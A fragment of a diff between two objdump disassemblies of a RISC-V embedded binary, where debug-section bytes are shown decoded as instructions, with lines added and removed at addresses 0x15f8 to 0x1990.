+    15f8:	2e01                	jal	1908 <__stack_size+0x1108>
+    15fa:	4534                	lw	a3,72(a0)
+    15fc:	0000                	unimp
+    15fe:	6700                	flw	fs0,8(a4)
+    1600:	0006                	c.slli	zero,0x1
+    1602:	0f00                	addi	s0,sp,912
+    1604:	0000a2f3          	csrrs	t0,ustatus,ra
+    1608:	2e01                	jal	1918 <__stack_size+0x1118>
+    160a:	0000984b          	fnmsub.s	fa6,ft1,ft0,ft0,rtz
+    160e:	8800                	0x8800
+    1610:	0006                	c.slli	zero,0x1
+    1612:	1100                	addi	s0,sp,160
+    1614:	a325                	j	1b3c <__stack_size+0x133c>
+    1616:	0000                	unimp
+    1618:	3201                	jal	f18 <__stack_size+0x718>
+    161a:	9808                	0x9808
     161c:	0000                	unimp
-    161e:	055a0113          	addi	sp,s4,85
-    1622:	4056e403          	0x4056e403
-    1626:	0020                	addi	s0,sp,8
-    1628:	bc12                	fsd	ft4,56(sp)
-    162a:	401f 0820 001d      	0x1d0820401f
-    1630:	1900                	addi	s0,sp,176
-    1632:	0016                	c.slli	zero,0x5
-    1634:	1300                	addi	s0,sp,416
-    1636:	5a01                	li	s4,-32
-    1638:	0305                	addi	t1,t1,1
-    163a:	5654                	lw	a3,44(a2)
-    163c:	2040                	fld	fs0,128(s0)
-    163e:	1200                	addi	s0,sp,288
-    1640:	1fcc                	addi	a1,sp,1012
-    1642:	2040                	fld	fs0,128(s0)
-    1644:	1d08                	addi	a0,sp,688
-    1646:	0000                	unimp
-    1648:	163e                	slli	a2,a2,0x2f
-    164a:	0000                	unimp
-    164c:	055a0113          	addi	sp,s4,85
-    1650:	4056f403          	0x4056f403
-    1654:	1320                	addi	s0,sp,424
-    1656:	5b01                	li	s6,-32
-    1658:	8502                	jr	a0
-    165a:	1300                	addi	s0,sp,416
-    165c:	5c01                	li	s8,-32
-    165e:	9104                	0x9104
-    1660:	7edc                	flw	fa5,60(a3)
-    1662:	0006                	c.slli	zero,0x1
-    1664:	dc12                	sw	tp,56(sp)
-    1666:	401f 0820 001d      	0x1d0820401f
-    166c:	6100                	flw	fs0,0(a0)
-    166e:	0016                	c.slli	zero,0x5
-    1670:	1300                	addi	s0,sp,416
-    1672:	5a01                	li	s4,-32
-    1674:	0305                	addi	t1,t1,1
-    1676:	5710                	lw	a2,40(a4)
-    1678:	2040                	fld	fs0,128(s0)
-    167a:	025b0113          	addi	sp,s6,37
-    167e:	01130083          	lb	ra,17(t1)
-    1682:	025c                	addi	a5,sp,260
-    1684:	0084                	addi	s1,sp,64
-    1686:	1200                	addi	s0,sp,288
-    1688:	1ff0                	addi	a2,sp,1020
-    168a:	2040                	fld	fs0,128(s0)
-    168c:	1d08                	addi	a0,sp,688
-    168e:	0000                	unimp
-    1690:	1688                	addi	a0,sp,864
+    161e:	b400                	fsd	fs0,40(s0)
+    1620:	0006                	c.slli	zero,0x1
+    1622:	1100                	addi	s0,sp,160
+    1624:	a38a                	fsd	ft2,448(sp)
+    1626:	0000                	unimp
+    1628:	3301                	jal	1328 <__stack_size+0xb28>
+    162a:	0000580b          	0x580b
+    162e:	dd00                	sw	s0,56(a0)
+    1630:	0006                	c.slli	zero,0x1
+    1632:	0c00                	addi	s0,sp,528
+    1634:	0000a2cf          	fnmadd.s	ft5,ft1,ft0,ft0,rdn
+    1638:	3701                	jal	1538 <__stack_size+0xd38>
+    163a:	0000580b          	0x580b
+    163e:	1100                	addi	s0,sp,160
+    1640:	a3a4                	fsd	fs1,64(a5)
+    1642:	0000                	unimp
+    1644:	3801                	jal	e54 <__stack_size+0x654>
+    1646:	0000580b          	0x580b
+    164a:	f000                	fsw	fs0,32(s0)
+    164c:	0006                	c.slli	zero,0x1
+    164e:	1100                	addi	s0,sp,160
+    1650:	a394                	fsd	fa3,0(a5)
+    1652:	0000                	unimp
+    1654:	3901                	jal	1264 <__stack_size+0xa64>
+    1656:	0000580b          	0x580b
+    165a:	1a00                	addi	s0,sp,304
+    165c:	1c000007          	0x1c000007
+    1660:	6d7a                	flw	fs10,156(sp)
+    1662:	0100                	addi	s0,sp,128
+    1664:	164c                	addi	a1,sp,804
+    1666:	00000573          	0x573
+    166a:	1818                	addi	a4,sp,48
+    166c:	0001                	nop
+    166e:	ff00                	fsw	fs0,56(a4)
+    1670:	0009                	c.nop	2
+    1672:	1100                	addi	s0,sp,160
+    1674:	a3ad                	j	1bde <__stack_size+0x13de>
+    1676:	0000                	unimp
+    1678:	3d01                	jal	1488 <__stack_size+0xc88>
+    167a:	580d                	li	a6,-29
+    167c:	0000                	unimp
+    167e:	2e00                	fld	fs0,24(a2)
+    1680:	17000007          	0x17000007
+    1684:	1ed6                	slli	t4,t4,0x35
+    1686:	2040                	fld	fs0,128(s0)
+    1688:	0d1e                	slli	s10,s10,0x7
+    168a:	0000                	unimp
+    168c:	0116                	slli	sp,sp,0x5
+    168e:	0079025b          	0x79025b
     1692:	0000                	unimp
-    1694:	055a0113          	addi	sp,s4,85
-    1698:	40572c03          	lw	s8,1029(a4) # fffe3405 <_heap_end+0x7ffd4c05>
-    169c:	1320                	addi	s0,sp,424
-    169e:	5b01                	li	s6,-32
-    16a0:	8304                	0x8304
-    16a2:	3600                	fld	fs0,40(a2)
-    16a4:	1325                	addi	t1,t1,-23
-    16a6:	5c01                	li	s8,-32
-    16a8:	8404                	0x8404
-    16aa:	3600                	fld	fs0,40(a2)
-    16ac:	0025                	c.nop	9
-    16ae:	fc12                	fsw	ft4,56(sp)
-    16b0:	401f 0820 001d      	0x1d0820401f
-    16b6:	9f00                	0x9f00
-    16b8:	0016                	c.slli	zero,0x5
-    16ba:	1300                	addi	s0,sp,416
-    16bc:	5a01                	li	s4,-32
-    16be:	0305                	addi	t1,t1,1
-    16c0:	583c                	lw	a5,112(s0)
-    16c2:	2040                	fld	fs0,128(s0)
-    16c4:	1200                	addi	s0,sp,288
-    16c6:	2008                	fld	fa0,0(s0)
-    16c8:	2040                	fld	fs0,128(s0)
-    16ca:	1d08                	addi	a0,sp,688
+    1694:	3018                	fld	fa4,32(s0)
+    1696:	0001                	nop
+    1698:	4a00                	lw	s0,16(a2)
+    169a:	000a                	c.slli	zero,0x2
+    169c:	1400                	addi	s0,sp,544
+    169e:	3061                	jal	f26 <__stack_size+0x726>
+    16a0:	0100                	addi	s0,sp,128
+    16a2:	1549                	addi	a0,a0,-14
+    16a4:	0000006b          	0x6b
+    16a8:	5a01                	li	s4,-32
+    16aa:	6114                	flw	fa3,0(a0)
+    16ac:	0032                	c.slli	zero,0xc
+    16ae:	4901                	li	s2,0
+    16b0:	6b15                	lui	s6,0x5
+    16b2:	0000                	unimp
+    16b4:	0100                	addi	s0,sp,128
+    16b6:	145c                	addi	a5,sp,548
+    16b8:	3361                	jal	1440 <__stack_size+0xc40>
+    16ba:	0100                	addi	s0,sp,128
+    16bc:	1549                	addi	a0,a0,-14
+    16be:	0000006b          	0x6b
+    16c2:	5d01                	li	s10,-32
+    16c4:	6114                	flw	fa3,0(a0)
+    16c6:	0034                	addi	a3,sp,8
+    16c8:	4901                	li	s2,0
+    16ca:	6b15                	lui	s6,0x5
     16cc:	0000                	unimp
-    16ce:	16b6                	slli	a3,a3,0x2d
-    16d0:	0000                	unimp
-    16d2:	055a0113          	addi	sp,s4,85
-    16d6:	40574c03          	lbu	s8,1029(a4)
-    16da:	0020                	addi	s0,sp,8
-    16dc:	1612                	slli	a2,a2,0x24
-    16de:	4020                	lw	s0,64(s0)
-    16e0:	0820                	addi	s0,sp,24
-    16e2:	001d                	c.nop	7
-    16e4:	cd00                	sw	s0,24(a0)
-    16e6:	0016                	c.slli	zero,0x5
-    16e8:	1300                	addi	s0,sp,416
-    16ea:	5a01                	li	s4,-32
-    16ec:	0305                	addi	t1,t1,1
-    16ee:	5654                	lw	a3,44(a2)
-    16f0:	2040                	fld	fs0,128(s0)
-    16f2:	1200                	addi	s0,sp,288
-    16f4:	202c                	fld	fa1,64(s0)
-    16f6:	2040                	fld	fs0,128(s0)
-    16f8:	1d08                	addi	a0,sp,688
-    16fa:	0000                	unimp
-    16fc:	16f5                	addi	a3,a3,-3
-    16fe:	0000                	unimp
-    1700:	055a0113          	addi	sp,s4,85
-    1704:	40575c03          	lhu	s8,1029(a4)
-    1708:	1320                	addi	s0,sp,424
-    170a:	5b01                	li	s6,-32
-    170c:	8605                	srai	a2,a2,0x1
-    170e:	8200                	0x8200
-    1710:	1a00                	addi	s0,sp,304
-    1712:	045c0113          	addi	sp,s8,69
-    1716:	25400087          	0x25400087
-    171a:	1200                	addi	s0,sp,288
-    171c:	2042                	fld	ft0,16(sp)
-    171e:	2040                	fld	fs0,128(s0)
-    1720:	1d08                	addi	a0,sp,688
-    1722:	0000                	unimp
-    1724:	171a                	slli	a4,a4,0x26
-    1726:	0000                	unimp
-    1728:	055a0113          	addi	sp,s4,85
-    172c:	40577803          	0x40577803
-    1730:	1320                	addi	s0,sp,424
-    1732:	5b01                	li	s6,-32
-    1734:	7802                	flw	fa6,32(sp)
-    1736:	1300                	addi	s0,sp,416
-    1738:	5c01                	li	s8,-32
-    173a:	7904                	flw	fs1,48(a0)
-    173c:	4000                	lw	s0,0(s0)
-    173e:	0025                	c.nop	9
-    1740:	4020561b          	0x4020561b
-    1744:	0820                	addi	s0,sp,24
-    1746:	001d                	c.nop	7
-    1748:	1300                	addi	s0,sp,416
-    174a:	5a01                	li	s4,-32
-    174c:	0305                	addi	t1,t1,1
-    174e:	5794                	lw	a3,40(a5)
-    1750:	2040                	fld	fs0,128(s0)
-    1752:	045b0113          	addi	sp,s6,69
-    1756:	0078                	addi	a4,sp,12
-    1758:	2536                	fld	fa0,328(sp)
-    175a:	045c0113          	addi	sp,s8,69
-    175e:	0079                	c.nop	30
-    1760:	2546                	fld	fa0,80(sp)
-    1762:	0000                	unimp
-    1764:	3008                	fld	fa0,32(s0)
-    1766:	0000                	unimp
-    1768:	4f00                	lw	s0,24(a4)
-    176a:	29000017          	auipc	zero,0x29000
-    176e:	00a0                	addi	s0,sp,72
-    1770:	0000                	unimp
-    1772:	3a01                	jal	1082 <__stack_size+0x882>
-    1774:	0800                	addi	s0,sp,16
-    1776:	0030                	addi	a2,sp,8
-    1778:	0000                	unimp
-    177a:	1760                	addi	s0,sp,940
+    16ce:	0100                	addi	s0,sp,128
+    16d0:	145e                	slli	s0,s0,0x37
+    16d2:	3561                	jal	155a <__stack_size+0xd5a>
+    16d4:	0100                	addi	s0,sp,128
+    16d6:	1549                	addi	a0,a0,-14
+    16d8:	0000006b          	0x6b
+    16dc:	5f01                	li	t5,-32
+    16de:	1500                	addi	s0,sp,672
+    16e0:	1e84                	addi	s1,sp,880
+    16e2:	2040                	fld	fs0,128(s0)
+    16e4:	0cd5                	addi	s9,s9,21
+    16e6:	0000                	unimp
+    16e8:	0a61                	addi	s4,s4,24
+    16ea:	0000                	unimp
+    16ec:	0116                	slli	sp,sp,0x5
+    16ee:	055a                	slli	a0,a0,0x16
+    16f0:	40426403          	0x40426403
+    16f4:	0020                	addi	s0,sp,8
+    16f6:	9215                	srli	a2,a2,0x25
+    16f8:	401e                	0x401e
+    16fa:	d520                	sw	s0,104(a0)
+    16fc:	000c                	0xc
+    16fe:	7800                	flw	fs0,48(s0)
+    1700:	000a                	c.slli	zero,0x2
+    1702:	1600                	addi	s0,sp,800
+    1704:	5a01                	li	s4,-32
+    1706:	0305                	addi	t1,t1,1
+    1708:	4264                	lw	s1,68(a2)
+    170a:	2040                	fld	fs0,128(s0)
+    170c:	1500                	addi	s0,sp,672
+    170e:	1ea6                	slli	t4,t4,0x29
+    1710:	2040                	fld	fs0,128(s0)
+    1712:	0cfa                	slli	s9,s9,0x1e
+    1714:	0000                	unimp
+    1716:	0a8c                	addi	a1,sp,336
+    1718:	0000                	unimp
+    171a:	0116                	slli	sp,sp,0x5
+    171c:	025a                	slli	tp,tp,0x16
+    171e:	0078                	addi	a4,sp,12
+    1720:	1500                	addi	s0,sp,672
+    1722:	1eb4                	addi	a3,sp,888
+    1724:	2040                	fld	fs0,128(s0)
+    1726:	0cd5                	addi	s9,s9,21
+    1728:	0000                	unimp
+    172a:	00000aa3          	sb	zero,21(zero) # 15 <__stack_size-0x7eb>
+    172e:	0116                	slli	sp,sp,0x5
+    1730:	055a                	slli	a0,a0,0x16
+    1732:	40426403          	0x40426403
+    1736:	0020                	addi	s0,sp,8
+    1738:	101d                	c.nop	-25
+    173a:	401f 6620 000d      	0xd6620401f
+    1740:	1600                	addi	s0,sp,800
+    1742:	5b01                	li	s6,-32
+    1744:	3101                	jal	1344 <__stack_size+0xb44>
+    1746:	0000                	unimp
+    1748:	a51e                	fsd	ft7,136(sp)
+    174a:	00a2                	slli	ra,ra,0x8
+    174c:	0100                	addi	s0,sp,128
+    174e:	00000603          	lb	a2,0(zero) # 0 <__stack_size-0x800>
+    1752:	0000                	unimp
+    1754:	0000                	unimp
+    1756:	0000                	unimp
+    1758:	9c01                	0x9c01
+    175a:	00000caf          	0xcaf
+    175e:	00379d0f          	0x379d0f
+    1762:	0100                	addi	s0,sp,128
+    1764:	00981803          	lh	a6,9(a6)
+    1768:	0000                	unimp
+    176a:	074d                	addi	a4,a4,19
+    176c:	0000                	unimp
+    176e:	7314                	flw	fa3,32(a4)
+    1770:	7274                	flw	fa3,100(a2)
+    1772:	0100                	addi	s0,sp,128
+    1774:	0e05                	addi	t3,t3,1
+    1776:	00000caf          	0xcaf
+    177a:	0305                	addi	t1,t1,1
     177c:	0000                	unimp
-    177e:	a029                	j	1788 <__stack_size+0xf88>
-    1780:	0000                	unimp
+    177e:	0000                	unimp
+    1780:	7014                	flw	fa3,32(s0)
     1782:	0100                	addi	s0,sp,128
-    1784:	003a                	c.slli	zero,0xe
-    1786:	502a                	0x502a
-    1788:	0100004b          	fnmsub.s	ft0,ft0,fa6,ft0,rne
-    178c:	069f 0030 0000      	0x30069f
-    1792:	19ac                	addi	a1,sp,248
-    1794:	2040                	fld	fs0,128(s0)
-    1796:	0012                	c.slli	zero,0x4
-    1798:	0000                	unimp
-    179a:	9c01                	0x9c01
-    179c:	17b1                	addi	a5,a5,-20
-    179e:	0000                	unimp
-    17a0:	0100612b          	0x100612b
-    17a4:	1a9f 010e 0000      	0x10e1a9f
-    17aa:	00000a57          	0xa57
-    17ae:	622c                	flw	fa1,64(a2)
-    17b0:	0100                	addi	s0,sp,128
-    17b2:	299f 010e 0000      	0x10e299f
-    17b8:	5b01                	li	s6,-32
-    17ba:	00696127          	0x696127
-    17be:	a101                	j	1bbe <__stack_size+0x13be>
-    17c0:	00009b0f          	0x9b0f
-    17c4:	7800                	flw	fs0,48(s0)
-    17c6:	000a                	c.slli	zero,0x2
-    17c8:	2600                	fld	fs0,8(a2)
-    17ca:	6962                	flw	fs2,24(sp)
-    17cc:	0100                	addi	s0,sp,128
-    17ce:	0fa2                	slli	t6,t6,0x8
-    17d0:	0000009b          	0x9b
-    17d4:	5f01                	li	t5,-32
-    17d6:	2300                	fld	fs0,0(a4)
-    17d8:	9316                	add	t1,t1,t0
-    17da:	0000                	unimp
-    17dc:	6f01                	0x6f01
-    17de:	401c8a07          	0x401c8a07
-    17e2:	7a20                	flw	fs0,112(a2)
-    17e4:	0001                	nop
-    17e6:	0100                	addi	s0,sp,128
-    17e8:	cc9c                	sw	a5,24(s1)
-    17ea:	0019                	c.nop	6
-    17ec:	2400                	fld	fs0,8(s0)
-    17ee:	8ff2                	mv	t6,t3
-    17f0:	0000                	unimp
-    17f2:	7301                	lui	t1,0xfffe0
-    17f4:	7916                	flw	fs2,100(sp)
-    17f6:	0000                	unimp
-    17f8:	b000                	fsd	fs0,32(s0)
-    17fa:	000a                	c.slli	zero,0x2
-    17fc:	2400                	fld	fs0,8(s0)
-    17fe:	6d9e                	flw	fs11,196(sp)
-    1800:	0000                	unimp
-    1802:	7401                	lui	s0,0xfffe0
-    1804:	9b0c                	0x9b0c
-    1806:	0000                	unimp
-    1808:	c300                	sw	s0,0(a4)
-    180a:	000a                	c.slli	zero,0x2
-    180c:	0e00                	addi	s0,sp,784
-    180e:	00006573          	csrrsi	a0,ustatus,0
-    1812:	7801                	lui	a6,0xfffe0
-    1814:	0019cc07          	flq	fs8,1(s3)
-    1818:	0200                	addi	s0,sp,256
-    181a:	5491                	li	s1,-28
-    181c:	f024                	fsw	fs1,96(s0)
-    181e:	0064                	addi	s1,sp,12
-    1820:	0100                	addi	s0,sp,128
-    1822:	1780                	addi	s0,sp,992
-    1824:	0079                	c.nop	30
-    1826:	0000                	unimp
-    1828:	0ad6                	slli	s5,s5,0x15
-    182a:	0000                	unimp
-    182c:	1124                	addi	s1,sp,168
-    182e:	01000057          	0x1000057
-    1832:	0e81                	addi	t4,t4,0
-    1834:	00f8                	addi	a4,sp,76
-    1836:	0000                	unimp
-    1838:	0ae9                	addi	s5,s5,26
-    183a:	0000                	unimp
-    183c:	e024                	fsw	fs1,64(s0)
-    183e:	0031                	c.nop	12
-    1840:	0100                	addi	s0,sp,128
-    1842:	1788                	addi	a0,sp,992
-    1844:	0079                	c.nop	30
-    1846:	0000                	unimp
-    1848:	0afc                	addi	a5,sp,348
-    184a:	0000                	unimp
-    184c:	b724                	fsd	fs1,104(a4)
-    184e:	008d                	addi	ra,ra,3
-    1850:	0100                	addi	s0,sp,128
-    1852:	0e89                	addi	t4,t4,2
-    1854:	00f8                	addi	a4,sp,76
+    1784:	0f06                	slli	t5,t5,0x1
+    1786:	0cc5                	addi	s9,s9,17
+    1788:	0000                	unimp
+    178a:	0305                	addi	t1,t1,1
+    178c:	0000                	unimp
+    178e:	0000                	unimp
+    1790:	071f 9104 0000      	0x9104071f
+    1796:	0100                	addi	s0,sp,128
+    1798:	0f08                	addi	a0,sp,912
+    179a:	0b22                	slli	s6,s6,0x8
+    179c:	0000                	unimp
+    179e:	00004a0b          	0x4a0b
+    17a2:	0100                	addi	s0,sp,128
+    17a4:	0085df0b          	0x85df0b
+    17a8:	0200                	addi	s0,sp,256
+    17aa:	00a37e0b          	0xa37e0b
+    17ae:	0300                	addi	s0,sp,384
+    17b0:	00a3840b          	0xa3840b
+    17b4:	0400                	addi	s0,sp,512
+    17b6:	0300                	addi	s0,sp,384
+    17b8:	a379                	j	1d46 <__stack_size+0x1546>
+    17ba:	0000                	unimp
+    17bc:	0801                	addi	a6,a6,0
+    17be:	fb2e                	fsw	fa1,180(sp)
+    17c0:	000a                	c.slli	zero,0x2
+    17c2:	1300                	addi	s0,sp,416
+    17c4:	00c8                	addi	a0,sp,68
+    17c6:	0000                	unimp
+    17c8:	3711                	jal	16cc <__stack_size+0xecc>
+    17ca:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    17ce:	0c0a                	slli	s8,s8,0x2
+    17d0:	0b22                	slli	s6,s6,0x8
+    17d2:	0000                	unimp
+    17d4:	0784                	addi	s1,sp,960
+    17d6:	0000                	unimp
+    17d8:	0000e813          	ori	a6,ra,0
+    17dc:	1400                	addi	s0,sp,544
+    17de:	736d                	lui	t1,0xffffb
+    17e0:	0c010067          	jr	192(sp)
+    17e4:	890e                	mv	s2,gp
+    17e6:	0005                	c.nop	1
+    17e8:	0300                	addi	s0,sp,384
+    17ea:	b091                	j	102e <__stack_size+0x82e>
+    17ec:	127f                	0x127f
+	...
+    17f6:	00000ba7          	0xba7
+    17fa:	6114                	flw	fa3,0(a0)
+    17fc:	0030                	addi	a2,sp,8
+    17fe:	0e01                	addi	t3,t3,0
+    1800:	00006b07          	0x6b07
+    1804:	0100                	addi	s0,sp,128
+    1806:	145a                	slli	s0,s0,0x36
+    1808:	3261                	jal	1190 <__stack_size+0x990>
+    180a:	0100                	addi	s0,sp,128
+    180c:	070e                	slli	a4,a4,0x3
+    180e:	0000006b          	0x6b
+    1812:	5c01                	li	s8,-32
+    1814:	6114                	flw	fa3,0(a0)
+    1816:	0e010033          	0xe010033
+    181a:	00006b07          	0x6b07
+    181e:	0100                	addi	s0,sp,128
+    1820:	145d                	addi	s0,s0,-9
+    1822:	3461                	jal	12aa <__stack_size+0xaaa>
+    1824:	0100                	addi	s0,sp,128
+    1826:	070e                	slli	a4,a4,0x3
+    1828:	0000006b          	0x6b
+    182c:	5e01                	li	t3,-32
+    182e:	6114                	flw	fa3,0(a0)
+    1830:	0035                	c.nop	13
+    1832:	0e01                	addi	t3,t3,0
+    1834:	00006b07          	0x6b07
+    1838:	0100                	addi	s0,sp,128
+    183a:	005f 0018 0001      	0x10018005f
+    1840:	be00                	fsd	fs0,56(a2)
+    1842:	1400000b          	0x1400000b
+    1846:	3061                	jal	10ce <__stack_size+0x8ce>
+    1848:	0100                	addi	s0,sp,128
+    184a:	0511                	addi	a0,a0,4
+    184c:	0000006b          	0x6b
+    1850:	5a01                	li	s4,-32
+    1852:	1500                	addi	s0,sp,672
+    1854:	0000                	unimp
     1856:	0000                	unimp
-    1858:	00000b0f          	0xb0f
-    185c:	501a                	0x501a
+    1858:	0d72                	slli	s10,s10,0x1c
+    185a:	0000                	unimp
+    185c:	0bd8                	addi	a4,sp,468
     185e:	0000                	unimp
-    1860:	4f00                	lw	s0,24(a4)
-    1862:	0018                	0x18
-    1864:	2700                	fld	fs0,8(a4)
-    1866:	6472                	flw	fs0,28(sp)
-    1868:	0100                	addi	s0,sp,128
-    186a:	00721d73          	csrrw	s10,0x7,tp
+    1860:	0116                	slli	sp,sp,0x5
+    1862:	025a                	slli	tp,tp,0x16
+    1864:	0085                	addi	ra,ra,1
+    1866:	0116                	slli	sp,sp,0x5
+    1868:	0072025b          	0x72025b
+    186c:	1500                	addi	s0,sp,672
     186e:	0000                	unimp
-    1870:	0ab0                	addi	a2,sp,344
-    1872:	0000                	unimp
-    1874:	1000                	addi	s0,sp,32
-    1876:	1cbc                	addi	a5,sp,632
-    1878:	2040                	fld	fs0,128(s0)
-    187a:	002e                	c.slli	zero,0xb
-    187c:	0000                	unimp
-    187e:	1879                	addi	a6,a6,-2
-    1880:	0000                	unimp
-    1882:	01006927          	0x1006927
-    1886:	0b79                	addi	s6,s6,30
-    1888:	0030                	addi	a2,sp,8
-    188a:	0000                	unimp
-    188c:	0b22                	slli	s6,s6,0x8
-    188e:	0000                	unimp
-    1890:	01006a27          	0x1006a27
-    1894:	1079                	c.nop	-2
-    1896:	0030                	addi	a2,sp,8
-    1898:	0000                	unimp
-    189a:	0b41                	addi	s6,s6,16
-    189c:	0000                	unimp
-    189e:	1000                	addi	s0,sp,32
-    18a0:	1cfc                	addi	a5,sp,636
-    18a2:	2040                	fld	fs0,128(s0)
-    18a4:	0004                	0x4
+    1870:	0000                	unimp
+    1872:	0d1e                	slli	s10,s10,0x7
+    1874:	0000                	unimp
+    1876:	0bf1                	addi	s7,s7,28
+    1878:	0000                	unimp
+    187a:	0116                	slli	sp,sp,0x5
+    187c:	0072025b          	0x72025b
+    1880:	0116                	slli	sp,sp,0x5
+    1882:	015c                	addi	a5,sp,132
+    1884:	0040                	addi	s0,sp,4
+    1886:	0015                	c.nop	5
+    1888:	0000                	unimp
+    188a:	4200                	lw	s0,0(a2)
+    188c:	000d                	c.nop	3
+    188e:	0a00                	addi	s0,sp,272
+    1890:	000c                	0xc
+    1892:	1600                	addi	s0,sp,800
+    1894:	5a01                	li	s4,-32
+    1896:	7202                	flw	ft4,32(sp)
+    1898:	1600                	addi	s0,sp,800
+    189a:	5b01                	li	s6,-32
+    189c:	4001                	c.li	zero,0
+    189e:	1500                	addi	s0,sp,672
+    18a0:	0000                	unimp
+    18a2:	0000                	unimp
+    18a4:	0d4e                	slli	s10,s10,0x13
     18a6:	0000                	unimp
-    18a8:	1896                	slli	a7,a7,0x25
+    18a8:	0c28                	addi	a0,sp,536
     18aa:	0000                	unimp
-    18ac:	00647227          	0x647227
-    18b0:	8001                	c.srli64	s0
-    18b2:	00007223          	0x7223
-    18b6:	d600                	sw	s0,40(a2)
-    18b8:	000a                	c.slli	zero,0x2
-    18ba:	0000                	unimp
-    18bc:	4210                	lw	a2,0(a2)
-    18be:	401d                	c.li	zero,7
-    18c0:	0420                	addi	s0,sp,520
-    18c2:	0000                	unimp
-    18c4:	b300                	fsd	fs0,32(a4)
-    18c6:	0018                	0x18
-    18c8:	2700                	fld	fs0,8(a4)
-    18ca:	6472                	flw	fs0,28(sp)
-    18cc:	0100                	addi	s0,sp,128
-    18ce:	2188                	fld	fa0,0(a1)
-    18d0:	0072                	c.slli	zero,0x1c
-    18d2:	0000                	unimp
-    18d4:	0afc                	addi	a5,sp,348
-    18d6:	0000                	unimp
-    18d8:	1000                	addi	s0,sp,32
-    18da:	1dbc                	addi	a5,sp,760
-    18dc:	2040                	fld	fs0,128(s0)
-    18de:	0004                	0x4
+    18ac:	0116                	slli	sp,sp,0x5
+    18ae:	015a                	slli	sp,sp,0x16
+    18b0:	1631                	addi	a2,a2,-20
+    18b2:	5b01                	li	s6,-32
+    18b4:	8702                	jr	a4
+    18b6:	1600                	addi	s0,sp,800
+    18b8:	5c01                	li	s8,-32
+    18ba:	3601                	jal	13ba <__stack_size+0xbba>
+    18bc:	1500                	addi	s0,sp,672
+    18be:	0000                	unimp
+    18c0:	0000                	unimp
+    18c2:	0d2a                	slli	s10,s10,0xa
+    18c4:	0000                	unimp
+    18c6:	0c48                	addi	a0,sp,532
+    18c8:	0000                	unimp
+    18ca:	0116                	slli	sp,sp,0x5
+    18cc:	025a                	slli	tp,tp,0x16
+    18ce:	0088                	addi	a0,sp,64
+    18d0:	0116                	slli	sp,sp,0x5
+    18d2:	0078025b          	0x78025b
+    18d6:	0116                	slli	sp,sp,0x5
+    18d8:	025c                	addi	a5,sp,260
+    18da:	0082                	c.slli64	ra
+    18dc:	1500                	addi	s0,sp,672
+    18de:	0000                	unimp
     18e0:	0000                	unimp
-    18e2:	18d0                	addi	a2,sp,116
+    18e2:	0d5a                	slli	s10,s10,0x16
     18e4:	0000                	unimp
-    18e6:	00647227          	0x647227
-    18ea:	9101                	srli	a0,a0,0x20
-    18ec:	7226                	flw	ft4,104(sp)
-    18ee:	0000                	unimp
-    18f0:	7600                	flw	fs0,40(a2)
-    18f2:	0000000b          	0xb
-    18f6:	cc10                	sw	a2,24(s0)
-    18f8:	401d                	c.li	zero,7
-    18fa:	0420                	addi	s0,sp,520
-    18fc:	0000                	unimp
-    18fe:	ed00                	fsw	fs0,24(a0)
-    1900:	0018                	0x18
-    1902:	2700                	fld	fs0,8(a4)
-    1904:	6472                	flw	fs0,28(sp)
-    1906:	0100                	addi	s0,sp,128
-    1908:	2594                	fld	fa3,8(a1)
-    190a:	0072                	c.slli	zero,0x1c
-    190c:	0000                	unimp
-    190e:	0b89                	addi	s7,s7,2
+    18e6:	0c61                	addi	s8,s8,24
+    18e8:	0000                	unimp
+    18ea:	0116                	slli	sp,sp,0x5
+    18ec:	025a                	slli	tp,tp,0x16
+    18ee:	0082                	c.slli64	ra
+    18f0:	0116                	slli	sp,sp,0x5
+    18f2:	003a015b          	0x3a015b
+    18f6:	0015                	c.nop	5
+    18f8:	0000                	unimp
+    18fa:	2a00                	fld	fs0,16(a2)
+    18fc:	000d                	c.nop	3
+    18fe:	7800                	flw	fs0,48(s0)
+    1900:	000c                	0xc
+    1902:	1600                	addi	s0,sp,800
+    1904:	5a01                	li	s4,-32
+    1906:	0305                	addi	t1,t1,1
+    1908:	3e84                	fld	fs1,56(a3)
+    190a:	2040                	fld	fs0,128(s0)
+    190c:	1500                	addi	s0,sp,672
+    190e:	0000                	unimp
     1910:	0000                	unimp
-    1912:	1200                	addi	s0,sp,288
-    1914:	1cbc                	addi	a5,sp,632
-    1916:	2040                	fld	fs0,128(s0)
-    1918:	00001dcf          	fnmadd.s	fs11,ft0,ft0,ft0,rtz
-    191c:	0000190b          	0x190b
-    1920:	025a0113          	addi	sp,s4,37
-    1924:	5891                	li	a7,-28
-    1926:	015b0113          	addi	sp,s6,21
-    192a:	1330                	addi	a2,sp,424
-    192c:	5c01                	li	s8,-32
-    192e:	4701                	li	a4,0
-    1930:	1200                	addi	s0,sp,288
-    1932:	1cfc                	addi	a5,sp,636
-    1934:	2040                	fld	fs0,128(s0)
-    1936:	1d08                	addi	a0,sp,688
-    1938:	0000                	unimp
-    193a:	1934                	addi	a3,sp,184
-    193c:	0000                	unimp
-    193e:	055a0113          	addi	sp,s4,85
-    1942:	40556803          	0x40556803
-    1946:	1320                	addi	s0,sp,424
-    1948:	5b01                	li	s6,-32
-    194a:	7902                	flw	fs2,32(sp)
-    194c:	1300                	addi	s0,sp,416
-    194e:	5c01                	li	s8,-32
-    1950:	7802                	flw	fa6,32(sp)
-    1952:	1300                	addi	s0,sp,416
-    1954:	5d01                	li	s10,-32
-    1956:	9102                	jalr	sp
-    1958:	0054                	addi	a3,sp,4
-    195a:	4212                	lw	tp,4(sp)
-    195c:	401d                	c.li	zero,7
-    195e:	0820                	addi	s0,sp,24
-    1960:	001d                	c.nop	7
-    1962:	5100                	lw	s0,32(a0)
-    1964:	0019                	c.nop	6
-    1966:	1300                	addi	s0,sp,416
-    1968:	5a01                	li	s4,-32
-    196a:	0305                	addi	t1,t1,1
-    196c:	558c                	lw	a1,40(a1)
-    196e:	2040                	fld	fs0,128(s0)
-    1970:	025b0113          	addi	sp,s6,37
-    1974:	0078                	addi	a4,sp,12
-    1976:	1200                	addi	s0,sp,288
-    1978:	1dbc                	addi	a5,sp,760
-    197a:	2040                	fld	fs0,128(s0)
-    197c:	1d08                	addi	a0,sp,688
-    197e:	0000                	unimp
-    1980:	1968                	addi	a0,sp,188
-    1982:	0000                	unimp
-    1984:	055a0113          	addi	sp,s4,85
-    1988:	4055a803          	lw	a6,1029(a1)
-    198c:	0020                	addi	s0,sp,8
-    198e:	cc12                	sw	tp,24(sp)
-    1990:	401d                	c.li	zero,7
